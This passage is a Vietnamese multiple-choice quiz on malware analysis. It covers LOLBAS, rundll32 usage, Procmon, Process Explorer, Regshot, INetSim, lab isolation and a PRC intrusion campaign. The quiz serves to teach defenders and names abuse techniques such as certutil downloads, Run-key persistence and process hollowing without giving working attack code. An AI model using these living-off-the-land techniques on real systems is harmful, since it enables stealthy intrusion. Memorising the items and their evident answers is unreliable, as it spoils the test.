- D. Lightweight Object Loader for Binary Assembly Scripts
Câu 30. Tại sao kẻ tấn công ưa dùng LOLBAS thay vì upload công cụ tấn công riêng?
- A. LOLBAS chạy nhanh hơn
- B. LOLBAS có sẵn trên mọi Windows, được ký số hợp lệ nên khó bị whitelist và antivirus chặn
- C. LOLBAS không tạo log
- D. LOLBAS có khả năng mã hóa tốt hơn
Câu 31. Lệnh nào dùng để chạy một DLL bằng Rundll32.exe với exported function tên “Install”?
- A.
rundll32.exe rip.dll /Install - B.
rundll32.exe rip.dll -Install - C.
rundll32.exe rip.dll, Install - D.
rundll32.exe Install rip.dll
Câu 32. Làm thế nào để chạy DLL khi function được export theo ordinal số 5?
- A.
rundll32.exe xyzzy.dll, ordinal5 - B.
rundll32.exe xyzzy.dll, #5 - C.
rundll32.exe xyzzy.dll, [5] - D.
rundll32.exe xyzzy.dll, 5
Câu 33. Process Monitor (Procmon) giám sát những loại hoạt động nào?
- A. Chỉ registry và file system
- B. Registry, file system, network, process, và thread activity
- C. Chỉ network traffic
- D. CPU và memory usage
Câu 34. Tại sao không nên để Procmon chạy quá lâu?
- A. Procmon làm chậm CPU
- B. Procmon lưu tất cả events vào RAM và có thể làm hết RAM, crash máy
- C. Procmon tạo file log quá lớn
- D. Procmon sẽ tự động tắt sau 1 giờ
Câu 35. Cách hiệu quả nhất để dùng Procmon khi phân tích mã độc là gì?
- A. Chạy Procmon và quan sát tất cả events
- B. Set filter theo tên file mã độc, clear events trước khi chạy mã độc, sau đó chạy mã độc
- C. Chạy Procmon sau khi mã độc đã chạy xong
- D. Chỉ dùng Procmon để xem network events
Câu 36. Process Explorer hiển thị màu gì cho một tiến trình vừa được tạo mới?
- A. Đỏ
- B. Vàng
- C. Xanh lá (Green)
- D. Tím
Câu 37. Tính năng “Verify” trong Process Explorer Properties làm gì và có giới hạn gì?
- A. Kiểm tra virus trong memory, không có giới hạn
- B. Kiểm tra chữ ký Windows của file trên disk, nhưng không kiểm tra RAM image nên không phát hiện được process replacement/hollowing
- C. Verify kết nối mạng của tiến trình
- D. Kiểm tra hash của file với VirusTotal
Câu 38. Regshot được dùng để làm gì trong phân tích mã độc?
- A. Chụp ảnh màn hình theo thời gian
- B. So sánh 2 snapshot của registry để xác định thay đổi mà mã độc thực hiện
- C. Theo dõi network traffic
- D. Dump memory của tiến trình
Câu 39. ApateDNS được dùng để làm gì?
- A. Tắt DNS trên máy phân tích
- B. Redirect DNS resolution về địa chỉ IP tùy chỉnh để phân tích domain nào mã độc cố kết nối
- C. Mã hóa DNS query
- D. Block tất cả DNS request
Câu 40. INetSim hoạt động trên nền tảng nào và giả lập những gì?
- A. Windows, giả lập registry
- B. Linux, giả lập hầu hết các dịch vụ Internet (DNS, HTTP, HTTPS, FTP, SMTP, IRC…)
- C. macOS, giả lập network card
- D. Windows, giả lập file system
Câu 41. Wireshark được dùng như thế nào trong lab phân tích mã độc?
- A. Để decompile mã độc
- B. Để capture và phân tích toàn bộ network traffic giữa VM mã độc và INetSim, xem mã độc giao tiếp gì
- C. Để quản lý virtual network
- D. Để block traffic độc hại
Câu 42. Cấu hình lab lý tưởng cho phân tích mã độc với mạng giả lập là gì?
- A. 1 Windows VM kết nối Internet trực tiếp
- B. Windows VM (mã độc) + Linux VM (INetSim) trong cùng Host-only network; Windows VM trỏ DNS về IP của Linux VM
- C. 2 Windows VM kết nối Bridged
- D. 1 VM duy nhất cài cả INetSim và mã độc
Câu 43. Tính năng “Follow TCP Stream” trong Wireshark dùng để làm gì?
- A. Theo dõi tốc độ TCP
- B. Xem toàn bộ nội dung (request + response) của một phiên TCP dưới dạng text đọc được
- C. Chặn một kết nối TCP
- D. Vẽ sơ đồ kết nối TCP
Câu 44. Trong Procmon, filter theo Operation = RegSetValue dùng để phát hiện điều gì?
- A. Mã độc đang đọc registry
- B. Mã độc đang ghi giá trị vào registry — thường là cài persistence hoặc thay đổi cấu hình hệ thống
- C. Mã độc đang xóa registry key
- D. Mã độc đang enumerate registry
Câu 45. Process hollowing (hay process replacement) là gì và tại sao khó phát hiện?
- A. Tạo tiến trình ẩn trong Task Manager
- B. Tạo tiến trình hợp lệ ở trạng thái suspended, thay thế code trong memory bằng payload độc hại, rồi resume — Process Explorer Verify không phát hiện vì file trên disk vẫn hợp lệ
- C. Xóa tiến trình khỏi danh sách
- D. Chạy nhiều bản copy của cùng một tiến trình
Câu 46. Khi phân tích tài liệu độc hại (PDF, Word) bằng Process Explorer, điều gì cần quan sát?
- A. Tên tác giả của tài liệu
- B. Kích thước file tài liệu
- C. Xem tài liệu có spawn tiến trình mới không, và nếu có, dùng Properties → Image tab để tìm vị trí file mã độc trên disk
- D. Ngày tạo file tài liệu
Câu 47. Trong chiến dịch PRC-Nexus, tại sao file payload lại có chữ ký số hợp lệ từ “Chengdu Nuoxin Times Technology Co.”?
- A. Để dễ dàng phân phối qua Microsoft Store
- B. Để vượt qua kiểm tra chữ ký số và whitelist của hệ thống, làm nạn nhân tin tưởng file an toàn
- C. Vì công ty này là đối tác của nhóm tấn công
- D. Vì luật pháp Trung Quốc yêu cầu ký số
Câu 48. Phương pháp nào giúp detect DLL Hijacking bằng Procmon?
- A. Filter theo
Operation = CreateProcess - B. Filter theo
Result = NAME NOT FOUND+Operation = Load Imageđể tìm DLL đang được tìm kiếm nhưng không tồn tại — vị trí đó có thể bị khai thác để đặt DLL độc hại - C. Filter theo
Operation = WriteFile - D. Filter theo
Operation = RegSetValue
Câu 49. MITRE ATT&CK technique T1195.002 liên quan đến điều gì?
- A. Tấn công vào phần cứng
- B. Compromise Software Supply Chain — tấn công vào chuỗi cung ứng phần mềm
- C. Tấn công vào DNS
- D. Tấn công vào cloud storage
Câu 50. Quy trình phân tích động (dynamic analysis) hoàn chỉnh và đúng thứ tự là gì?
- A. Chạy mã độc → Mở Procmon → Set filter → Phân tích kết quả
- B. Chuẩn bị môi trường VM → Chụp Regshot 1st shot → Mở Procmon với filter → Mở Wireshark → Chạy mã độc → Quan sát → Chụp Regshot 2nd shot → Compare → Phân tích traffic Wireshark
- C. Chạy mã độc trực tiếp trên máy thật → Xem Task Manager
- D. Cài antivirus → Chạy mã độc → Đọc báo cáo antivirus
Câu 51. SOGU.SEC trong chiến dịch PRC được bảo vệ bằng cách nào trước khi triển khai?
- A. Mã hóa AES-256
- B. Mã hóa RC4 với hardcoded 16-byte key, lưu dưới dạng file
cnmplog.dat - C. Nén UPX
- D. XOR với key ngẫu nhiên
Câu 52. Tại sao INetSim ưu việt hơn ApateDNS trong việc giả lập mạng?
- A. INetSim chạy được trên Windows
- B. INetSim không chỉ giả lập DNS mà còn giả lập đầy đủ HTTP, HTTPS, FTP, SMTP và nhiều dịch vụ Internet khác; ApateDNS chỉ làm DNS
- C. INetSim có giao diện đồ họa đẹp hơn
- D. INetSim miễn phí còn ApateDNS thì không
Câu 53. Trong Procmon, nếu filter Process Name = malware.exe và thấy nhiều events RegSetValue vào key HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run, điều này có nghĩa là gì?
- A. Mã độc đang đọc thông tin cài đặt Windows
- B. Mã độc đang cài persistence: thêm entry vào registry Run key để tự khởi động cùng Windows
- C. Mã độc đang cập nhật Windows
- D. Đây là hành vi bình thường của mọi ứng dụng
Câu 54. Certutil.exe là LOLBAS có thể bị lạm dụng như thế nào?
- A. Chỉ dùng để quản lý certificate, không bị lạm dụng được
- B. Có thể dùng để download file từ Internet và encode/decode base64, che giấu payload
- C. Chỉ dùng để verify chữ ký số
- D. Chỉ chạy trong context SYSTEM
Câu 55. Điểm khác biệt quan trọng giữa NAT networking và Bridged networking trong VMware khi phân tích mã độc là gì?
- A. NAT nhanh hơn Bridged
- B. NAT đặt virtual router giữa VM và LAN thật nên mã độc không thể trực tiếp tấn công các máy trong LAN; Bridged kết nối VM trực tiếp vào LAN, mã độc có thể tấn công toàn bộ mạng
- C. Bridged không hỗ trợ DHCP
- D. NAT và Bridged giống nhau về mặt bảo mật